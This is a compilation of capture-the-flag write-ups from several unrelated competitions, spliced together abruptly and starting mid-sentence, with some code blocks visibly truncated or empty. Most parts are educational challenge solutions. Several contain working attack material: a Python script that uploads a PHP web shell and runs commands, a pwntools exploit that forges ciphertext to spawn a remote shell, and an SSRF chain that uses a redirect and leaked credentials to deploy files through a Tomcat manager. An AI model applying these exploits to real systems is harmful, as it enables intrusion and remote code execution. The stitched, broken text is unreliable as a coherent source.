trick.![](https://usetheswartz.com/wp-content/uploads/2024/05/image-23.png?w=1024) All we have to do is copy that flag and paste it back into the challenge and we’re good to move on. This challenge is an excellent opportunity to develop routines and workflows for different types of problems. It’s not always necessary to jump to the most complex solution when simply checking the basics will solve a good percentage of the challenges.
[Author's writeup](https://s3.amazonaws.com/archive.volgactf.ru/volgactf_2024/tasks/tridea/writeup.html) (https://s3.amazonaws.com/archive.volgactf.ru/volgactf_2024/tasks/tridea/writeup.html).
![](https://usetheswartz.com/wp-content/uploads/2024/05/image-3.png?w=949) Once the challenge is started we’re pointed to a URL for a website titled “All About Robots” ![](https://usetheswartz.com/wp-content/uploads/2024/05/image-4.png?w=877) For this, it’s clear it’s a challenge about robots.txt, but for those who haven’t caught on, clicking on each robot will describe a bit more about the specific robot, with the “Learn More” button leading to https://www.robotstxt.org/, a resource for using robots.txt for websites. For those who don’t know, the robots.txt file is a standard used by websites to instruct web crawlers which pages or sections should not be crawled or indexed. It helps manage web traffic, protect sensitive information, and control search engine indexing by specifying disallowed paths. Web crawlers check robots.txt for instructions before accessing a site. However, robots.txt can also be a security weakness. By listing directories and files to be excluded from indexing, it inadvertently highlights potentially sensitive areas of a website to malicious actors. Adversaries can review robots.txt to find and target restricted sections, making it a valuable reconnaissance tool in cyberattacks. ![](https://usetheswartz.com/wp-content/uploads/2024/05/image-6.png?w=862) Back at the “All About Robots” webpage, we can simply modify our URL to path to the robots.txt file. Navigating to the file in our web browser shows us the user agent information and a disallow to /open_the_pod_bay_doors_hal_and_give_me_the_flag.html ![](https://usetheswartz.com/wp-content/uploads/2024/05/image-7.png?w=537) Okay, now we know where the flag actually is. Let’s path there. ![](https://usetheswartz.com/wp-content/uploads/2024/05/image-8.png?w=1024) With a congratulatory confetti blast, we are given the flag.
# Web: Upload Fun This is a web challenge I created for the WolvSec club CTF event hosted March 2024. ## Description I made a website where you can upload files. What could go wrong? **Note:** Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway). ## Overview It is based on an Imaginary CTF (https://imaginaryctf.org/Challenges) challenge I saw last year. When you visit the link you are provided with the full source: ```php 1000) { echo "file too large"; return; } if (str_contains($_FILES["f"]["name"], "..")) { echo "no .. in filename please"; return; } if (empty($_FILES["f"])){ echo "empty file"; return; } $ip = $_SERVER['REMOTE_ADDR']; $flag = file_get_contents("/flag.txt"); $hash = hash('sha256', $flag . $ip); if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) { echo "upload success"; } else { echo "upload error"; } } else { if (isset($_GET["f"])) { $path = "./uploads/" . $_GET["f"]; if (str_contains($path, "..")) { echo "no .. in f please"; return; } include $path; } highlight_file("index.php"); }?>``` # Analysis It is clear that: - you can upload a small file to the server- your filename cannot have `..` in it- your file is moved into a `./uploads/<some-hash>_<the-filename-you-provided-in-the-upload>`- if you give a `?f=<some-filename>`, it will "include" that file from the `upload` folder (but it cannot have `..` ) in it The hash being used here turns out to be the SHA256 hash of the flag itself. If only you knew the flag, then you could compute the hash and be able to access your uploaded file inside your browser using the `?f=<filename>`. Of course, if you knew the flag, you wouldn't need to access your uploaded file. At this point, the contestant is likely thinking... If I can upload a small `payload.php` file containing: ```php ``` and somehow learn where it was uploaded, then you can run system commands of your choosing to read the `/flag.txt` file. But there seems to be no way to learn where it was uploaded. Other contestants might be thinking there is some way to bypass the `..` filter. But there seems to be no way to do that. # Thinking Outside the Box The trick here is to upload a small file with a REALLY LONG filename. This will cause the php to leak the full file path in an error message. The notion of leaking information via errors comes into play occasionally in CTF challenges and so is a good trick to keep in mind. Something like this is returned: ```htmlWarning: move_uploaded_file(./uploads/331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA): Failed to open stream: File name too long in /var/www/html/index.php on line 22``` Now you know the SHA256 hash of the flag is `331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d` # Solve Armed with this knowledge, you can upload your small `payload.php` (described above). Then you can read the flag with a URL like: https://upload-fun-okntin33tq-ul.a.run.app/?f=331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d_payload.php&cmd=cat%20/flag.txt which returns: ```wctf{h0w_d1d_y0u_gu355_th3_f1l3n4me?_7523015134}``` # Solve Script Here's my solve script: ```phpimport osimport reimport requestsfrom io import BytesIO URL = os.getenv('CHAL_URL') or 'https://upload-fun-okntin33tq-ul.a.run.app/' def uploadFile(filename): # Your binary string data binary_data = b""" """ # Create a BytesIO object to simulate a file file_object = BytesIO(binary_data) # Prepare the files dictionary with filename control files = {'f': (filename, file_object)} # Send the POST request with the simulated file response = requests.post(URL, files=files) # print(response.status_code, response.text) return response filename = 'payload.php' uploadFile(filename) tooLongFilename = 'A' * 4000response = uploadFile(tooLongFilename) pattern = r"/uploads/(?P<hash>.+)_"match = re.search(pattern, response.text) if match: hash = match.group("hash") # print(f"Extracted hash: {hash}") url = URL + f'?f={hash}_{filename}&cmd=cat%20/flag.txt' response = requests.get(url) # print(response.status_code, response.text) if 'wctf{' in response.text: print('SOLVED: upload-fun') else: print('FAILED2: upload-fun')else: print('FAILED1: upload-fun', response.text) ```
1. decompile the challenge binary file, easy to understand, nothing to say 1. In file backdoor.py found that: ```ctxt = (pow(g, int.from_bytes(ptxt, 'big'), n_sq) * pow(r, n, n_sq)) % n_sq``` because of : ```ctxt == (g ^ ptxt) * (r ^ n) mod n_sq=> ctxt^a == ((g ^ ptxt) * (r ^ n))^a mod n_sq=> ctxt^a == (g ^ ptxt)^a * (r ^ n)^a mod n_sq=> ctxt^a == (g ^ (ptxt*a)) * ((r ^a)^ n) mod n_sq``` lookat backdoor.py : ``` while True: r = random.randrange(1, n) if gcd(r, n) == 1: break``` when execute backdoor.py without arguments, it will print the cipher result of 'ls' (ptxt) So we need to find a payload instead of 'ls', and the payload : int(palyload) == int('ls') * n because of: ```def run(msg: dict): ptxt = dec(msg['hash'], msg['ctxt']) subprocess.run(ptxt.split())``` we use the follow script to find out payload and n: ```from Crypto.Util.number import long_to_bytes, bytes_to_long ls = bytes_to_long(b'ls') # char in bytes.split() is seperatorTAB = b' \x09\x0a\x0b\x0c\x0d' sh_b = b'sh'for i0 in TAB: for i1 in TAB: for i2 in TAB: for i3 in TAB: for i4 in TAB: for i5 in TAB: b = sh_b + bytes([i0, i1, i2, i3, i4, i5]) a = bytes_to_long(b)%ls if a==0: n = bytes_to_long(b)//ls print(n, b) break # b = ls * n``` After run it, we got payload: b'sh\t \x0c\t\r ', and n = 299531993847392 Finally, write the full exploit: ```#!/usr/bin/env python3import json from pwn import * HOST = os.environ.get('HOST', 'localhost')PORT = 31337 io = remote(HOST, int(PORT)) # GET THE 'ls' cipher resultio.recvuntil(b'> ')io.sendline(b'5')ret = io.recvuntil(b'Welcome to Shiny Shell Hut!')idx = ret.index(b'{"hash":')end = ret.index(b'}', idx + 1)msg = ret[idx:end+1]msg = json.loads(msg) ctxt = msg["ctxt"]n = msg["n"] # MAKE new payloadpayload = b'sh\t \x0c\t\r 'h = int(hashlib.sha256(payload).hexdigest(), 16)ctxt = pow(ctxt, 299531993847392, n*n)msg = {'hash': h, 'ctxt': ctxt, 'n': n}io.sendline(b'4'+json.dumps(msg).encode())io.interactive()```
Used exiftool on the file and the Comment section had a [link](https://commons.wikimedia.org/wiki/File:Enigma_(crittografia)_-_Museo_scienza_e_tecnologia_Milano.jpg). I noticed that the file has some data so i extracted them using Binwalk and found a text.txt file. I put it on Cyberchef and got the flag. ![photo](https://github.com/juke-33/Write-ups/raw/main/SpringForwardCTF2024/Misc/Strange-Historical-Machine/Photo1.png) Flag: `nicc{Y0U_KN0W_3N1GMA_C0D3}`
# WordPress - 1[Easy] Our WordPress site has experienced a security breach, and the precise method of compromise remains undetermined at present. We need you help to investigate what actually happened. Q1. There were two attackers attempting to compromise our environment. What is the IP address of the victim, and what is the IP address of the first attacker? Q2. What are the versions of the Apache and PHP servers deployed in our environment? Flag Format `0xL4ugh{A1_A2}` Example: `0xL4ugh{IP1_IP2_apache1.2.3_php1.2.3}(no spaces)` --- Solution: We were given a `Wordpress.pcapng` file. Filtering via `http.request`...we can see a suspicious requests coming from `192.168.204.132` ![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/1/1_1.png) So that is most likely our first attacker. Now, to answer Q2, let's scroll up a bit. ![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/1/1_2.png) Following the HTTP stream will give the answer that we need. ![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/1/1_3.png) Flag: `0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}`
> Sometimes you can exfiltrate data with more than just plain text. Can you figure out how the attacker smuggled out the flag on our network? If we examine HTTP requests, we notice the flag in the ASCII DUMP section.[video link](https://margheritaviola.com/2024/04/08/swampctf-2024-forensics-new-c2-channel-writeup/). ```swampCTF{w3lc0m3_70_7h3_l4nd_0f_7h3_pc4p}```
> I recently had my passwords and other sensitive data leaked, but I have no idea how. Can you figure out how the attacker got in to my PC? The pcap file is opened in Wireshark and if we browse the packet in it, SMB packages attract attention and we select SMB as a filter in the first stage.![](https://margheritaviola.com/wp-content/uploads/2024/03/image-63.png), If we look inside the SMB packages, we see frames where base64 decoders are available.![](https://margheritaviola.com/wp-content/uploads/2024/03/image-64.png) If we copy the TCP stream content and delete the redundancies, we get our base64 code.![](https://margheritaviola.com/wp-content/uploads/2024/03/image-65.png) We get three base64 codes, decode them separately, and then combine them to get the flag.![](https://margheritaviola.com/wp-content/uploads/2024/03/image-66.png) ```wctf{l3tS_3teRn4lLy_g0_bLU3_7n9wm4iWnL}```
## JumperWe get the source code zip and a link to a website. The website is a proxy that lets us visit other websites, based on a github repo that already existed. Looking at the source zip, we don't actually get a lot of source. It's simply a docker-compose deploying two containers: One with the `php-proxy` and one with `tomcat`.They overwrite the tomcat installation with a custom ` catalina.jar` - unclear why, but hopefully irrelevant. The flag gets mounted into the tomcat container at some random-looking foldername in the root of the filesystem. The dockerfile sets the timezone to australia for no good reason. https://github.com/Athlon1600/php-proxy-app is what is running in the `php-proxy` container and it has a few open issues, including some that look like they *could* be security-relevant. But the flag is not in that container anyway. Can we visit the tomcat container from the proxy? Yes, of course we can. Simply enter `127.0.0.1:8888` to view the tomcat webpage.Tomcat mentions an admin interface and googling about that reveals that it should be at `/manager/html` but going to `127.0.0.1:8888/manager/html` through the proxy throws a "401 unauthorized" error. Basic http-auth is not working through the proxy either, although the xml config files we got with the tomcat container setup files indicate that it is enabled. In those files we also find the username and password (`manager-web.xml`). ```http://admin:[email protected]:8888/manager/html``` Some documentation reading later, we also know that `/manager/text` exists as an interface for scripts. Also giving "403 Forbidden". It should be allowed though, as one of the config files explicitly removed the host check for accessing the management interface (see https://stackoverflow.com/a/39265608/2550406 ). We decompiled the `catalina.jar` to figure out the version of tomcat, which would also have been in bold on the tomcat webpage... Even if we would have full access to tomcat though, could we really access the flag? It's not in the website folder, after all... The issue https://github.com/Athlon1600/php-proxy-app/issues/161 explains that we can navigate the php-proxy to our own website containing a redirect and then it will follow the redirect e.g. to the `/etc/passwd` file on the proxy-container. This is not a primitive to read the flag, because the flag is not in that container, but it allows us to redirect to the tomcat management interface *with* username and password in http basic auth. However, there should be some commands we can access like that. E.g. `/manager/text/list`. But the response indicates they do not exists. After trying forever to get the `list` command to work with other ways of logging in, we try `/deploy` instead and get the response `"FAIL - Invalid parameters supplied for command [/deploy]"`. So that means we got access, the `list` command just does not exist for some reason. Reading some more documentation, it turns out the `/deploy` command can deploy a local directory. So we can use `/manager/text/deploy` to deploy the folder that contains the flag. Then visit that like any other webapp. 1. Host this on myserver.example.com/foo : ```php ``` 2. Make proxy go to `http://myserver.example.com/foo`3. Make proxy go to `http://127.0.0.1:8888/foofour/flag.txt`4. Profit: `INS{SSRF-As-A-Service}`
One-time pads are perfectly information-theoretically secure, so I should be safe, right? [chall.py](https://github.com/Nightxade/ctf-writeups/blob/master/assets/CTFs/Wolv-CTF-2024/beginner/chall.py) [eFlag.bmp](https://github.com/Nightxade/ctf-writeups/blob/master/assets/CTFs/Wolv-CTF-2024/beginner/eFlag.bmp) [eWolverine.bmp](https://github.com/Nightxade/ctf-writeups/blob/master/assets/CTFs/Wolv-CTF-2024/beginner/eWolverine.bmp) --- <script src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script> We're provided a Python source file, and two images. Here's the source file: ```pyfrom Crypto.Random import random, get_random_bytes BLOCK_SIZE = 16 with(open('./genFiles/wolverine.bmp', 'rb')) as f: wolverine = f.read()with(open('./genFiles/flag.bmp', 'rb')) as f: flag = f.read() w = open('eWolverine.bmp', 'wb')f = open('eFlag.bmp', 'wb') f.write(flag[:55])w.write(wolverine[:55]) for i in range(55, len(wolverine), BLOCK_SIZE): KEY = get_random_bytes(BLOCK_SIZE) w.write(bytes(a^b for a, b in zip(wolverine[i:i+BLOCK_SIZE], KEY))) f.write(bytes(a^b for a, b in zip(flag[i:i+BLOCK_SIZE], KEY)))``` Seems like we're just doing a one-time pad on two files with the same key. This is a standard vulnerability in OTP, which is implied in the name. All OTP keys should be used only **once**. To expose this vulnerability, we can XOR the two images, because it will reveal information about the images. See below: $$ct1 = pt1 \oplus key$$ $$ct2 = pt2 \oplus key$$ $$ct1 \oplus ct2 = pt1 \oplus pt2 \oplus key \oplus key = pt1 \oplus pt2$$ For images, this may result in some information being revealed in the image result of the XOR. Using stegsolve, we can use the Image Combiner --> XOR mode to XOR the two images and reveal this information! wctf{D0NT_R3CYCLE_K3Y5}
# The Big Bang Theory [let time tell] - Part 4 Category: OSINT Files: ## Description since the begining of time in the big bang theory, in the time century of 0:12 the creators made use of the word, what is the name of the word in the second language of the creator? *flag format: urchinsec{id}* `author : @KharimMchatta` ## Writeup Watch video https://www.youtube.com/watch?v=jNQXAC9IVRw with subtitle german urchinsec{Und das ist cool}
Upon reverse engineering the 32-bit binary `runme`, you will notice that all of the assembly instructions are `mov` instructions, which makes the machine incredibly difficult to decipher with decompilers or debuggers. In other words, this binary was obfuscated using the [movfuscator](https://github.com/xoreaxeaxeax/movfuscator) tool. Running the binary will print out two questions that need to be answered, as the flag consists of the answers to the two questions: ```Question 1: How many instructions does this binary execute?Question 2: What is the hidden message generated by this binary?Flag format: texsaw{answer1_answer2}``` In the hints folder are two binaries and two text files. The names of the hint binaries (`isuggestIDAfree1` and `isuggestIDAfree2`) suggests that they should be opened in the free version of IDA. prisoner.txt contains the following message: ```Grrr... first they have the gall to make a mov-ridden mess of my binary, and then they have the nerve to trap me in this text file! Oh, if only there was a way to undo this whole mess. I wonder if the person who made that stupid tool has any others up their sleeve...``` This hints you to look up how to deobfuscate movfuscated binaries (which we will get to later when we look at the demovfuscator). It also hints you to search for the author of the movfuscator tool, who is Christopher Domas. If you find Domas's GitHub account and look through his other repos, you will find the tool [REpsych](https://github.com/xoreaxeaxeax/REpsych), which was used to create the two hint binaries. wise_person.txt contains the following message: ```Sometimes, if you find your banging your head against a wall in frustration, it may help to zoom out for a little perspective, and mayb change the colors of your lenses too.``` ~~I just now realized the typos...~~ It basically suggests that, for each hint binary opened in IDA Free, you must zoom out the control flow graph (CFG) view of the binary to see the entire graph (which may require increasing the number of allowed graph nodes and changing your graph color in your settings), which ends up revealing a hidden image. ### Part 1: Counting the Number of Instructions *Executed* The hint image in isuggestIDAfree1's CFG is shown below: ![](https://raw.githubusercontent.com/mws180000/TexSAW-2024-CTF-Write-Ups/main/Psychological%20Warfare/Writeup%20Images/isuggestIDAfree1.png) It says "PERHAPS THIS BINARY INSTRUMENTATION TOOL WILL HELP YOU", followed by an image of a pin. If you look binary instrumentation tools that have "pin" in their name, you will quickly find a binary instrumentation framework called `Intel Pin` (aka Pintools). You can use Pintools to answer question 1 by creating a C++ program that counts the number of instructions executed by `runme`. You can either write, compile, and run your own program, or you can compile and run the sample program icount (which comes with your download of Pintools), whose source code is shown below: ```/* * Copyright (C) 2004-2021 Intel Corporation. * SPDX-License-Identifier: MIT */ /*! @file * This file contains an ISA-portable PIN tool for counting dynamic instructions */ #include "pin.H"#include <iostream>using std::cerr;using std::endl; /* ===================================================================== *//* Global Variables *//* ===================================================================== */ UINT64 ins_count = 0; /* ===================================================================== *//* Commandline Switches *//* ===================================================================== */ /* ===================================================================== *//* Print Help Message *//* ===================================================================== */ INT32 Usage(){ cerr << "This tool prints out the number of dynamic instructions executed to stderr.\n" "\n"; cerr << KNOB_BASE::StringKnobSummary(); cerr << endl; return -1;} /* ===================================================================== */ VOID docount() { ins_count++; } /* ===================================================================== */ VOID Instruction(INS ins, VOID* v) { INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END); } /* ===================================================================== */ VOID Fini(INT32 code, VOID* v) { cerr << "Count " << ins_count << endl; } /* ===================================================================== *//* Main *//* ===================================================================== */ int main(int argc, char* argv[]){ if (PIN_Init(argc, argv)) { return Usage(); } INS_AddInstrumentFunction(Instruction, 0); PIN_AddFiniFunction(Fini, 0); // Never returns PIN_StartProgram(); return 0;} /* ===================================================================== *//* eof *//* ===================================================================== */``` ##### Alternative SolutionYou could use the `perf` command in Linux by running the command `perf stat -e instructions ./runme`, which will give you a similar instruction count via its own binary instrumentation. However, I still think that knowing how to do binary instrumentation on your own is a good skill to have. ### Part 2: Uncovering the Hidden MessageThe hint image in isuggestIDAfree2's CFG is shown below (zooming out on this page should make the messsage esaier to read): ![](https://raw.githubusercontent.com/mws180000/TexSAW-2024-CTF-Write-Ups/main/Psychological%20Warfare/Writeup%20Images/isuggestIDAfree2.png) It says "YOU CANNOT REPAIR ALL THE DAMAGES. HOWEVER, RESTORE THE CONTROL FLOW YOU MUST.", followed by a picture of Yoda. After doing some Googling, you will realize that the hint points you to a tool called the [demovfuscator](https://github.com/leetonidas/demovfuscator), which recovers the explicit control flow of a movfuscated binary and resubtitutes some instructions in the movfuscated binary to create a patched version of the binary. You must use the demovfuscator to generated a patched version of the `runme` binary and an image containing the control flow graph of the patched runme, which is done by running the command `./demov -o runme_patched -g cfg.dot runme` (to generate a patched version of `runme` called `runme_patched` and a CFG file), followed by the command `cat cfg.dot | dot -Tpng > cfg.png` (to convert the CFG file into a viewable image). Below is an example of the CFG image generated for runme: ![](https://raw.githubusercontent.com/mws180000/TexSAW-2024-CTF-Write-Ups/main/Psychological%20Warfare/Writeup%20Images/cfg.png) If you look for symbols in the `runme` binary, you will find tht the binary is not stripped. You will find a series of functions called `letter1`, `letter2`, `letter3`, ..., `letter16` that are called by the main function. ![](https://raw.githubusercontent.com/mws180000/TexSAW-2024-CTF-Write-Ups/main/Psychological%20Warfare/Writeup%20Images/functions.png) Each letter function computes and returns a letter of the hidden message requested by question 2, but the letters are not stored in any char or buffer variables, though you will not be able to easily discern that from reading the assembly or decompiled code. If you run `runme_patched` in gdb and set breakpoints at the addresses specified in the control flow graph image, you will eventually find that at the breakpoints after a letter function has "returned," the char that the function returned will be stored on the stack. In my case, the characters returned by each letter function were always located at `$esp+72` on the stack at the respective breakpoints. Putting these 16 characters together will give you the message "miles_to_my_home", which is the answer to question 2. Bonus points if you can figure out how to solve this part using Pintools or another binary instrumentation framework. ### The FlagDue to the variance in instruction counts between different environments and due to the slight differences in how Pintools and perf count instructions, any flag with an instruction count between 320,000 and 390,000 instructions is considered valid. This is modeled by the following regex that was used to parse and accept valid flags for the competition: `texsaw{3[2-8][0-9],?[0-9]{3}_miles_to_my_home}` Below are some examples of flags that are valid for this challenge: `texsaw{356074_miles_to_my_home}` `texsaw{326692_miles_to_my_home}` `texsaw{356,074_miles_to_my_home}` `texsaw{326,692_miles_to_my_home}`
# misc/chest-mix> Here's a minecraft world, the flag is on a piece of paper in the the chest by spawn, it's hard to miss. Version 1.20 We are given Minecraft world save file, look for ways to parse this. I found a chunk extractor script that can extract contents from a region save. From there we can grep each region for any minecraft chunk/block we want. https://github.com/sudofox/minecraft-utils/blob/master/region-parser/region-parser.sh ```bash# unzip the save file and under regions run the script for each .mca file./region-parser.sh r.0.-1.mca ./region-parser.sh r.0.0.mca # ... # after unpacking all we can check each content if it contains chest / paperfind . -name "*.nbt" -exec grep minecraft:chest {} \;find . -name "*.nbt" -exec grep minecraft:paper {} \; # we can just search for the flag find . -name "*.nbt" -exec grep -a bctf {} \; ```![chest-mix](https://xeunwa.github.io/b01lers-2024/image-2.png) **flag**: bctf{ch1st_ch2st_ch3st_ch4st_ch5st}
##### Solution: You are given a zip file with 5 images. Because the desciption says find a location and you are given images the best place to start is the exif data because it can contain location information. If you look at the exif data of the images using exiftool you will notice that there is GPS Positions in every image and also Creator notes. ```┌──(kali㉿kali)-[~/CTFs/TexSAW2024/Lightning]└─$ exiftool * | grep "Position"GPS Position : 29 deg 11' 6.00" N, 81 deg 4' 13.00" WGPS Position : 34 deg 54' 9.00" N, 110 deg 10' 7.00" WGPS Position : 35 deg 22' 23.00" N, 138 deg 55' 36.00" EGPS Position : 43 deg 21' 45.00" N, 71 deg 27' 38.00" WGPS Position : 45 deg 37' 2.00" N, 9 deg 16' 53.00" E ┌──(kali㉿kali)-[~/CTFs/TexSAW2024/Lightning]└─$ exiftool * | grep "Creator"Creator : Three WordsCreator : Two WordsCreator : Two WordsCreator : 4 WordsCreator : 1 Words ┌──(kali㉿kali)-[~/CTFs/TexSAW2024/Lightning]└─$ lsalldiesel.jpg champ.jpg piston.jpg queen.jpg supercar.jpg ``` When you put the coordinates into google maps you get the following locations(if you are trying this yourself just copy and paste the coordinates and make sure to use the degree symbol): | Image Names: | Coordinates(from exif data(change deg ->°)): | Location name: || -------- | -------- | -------- || alldiesel.jpg | 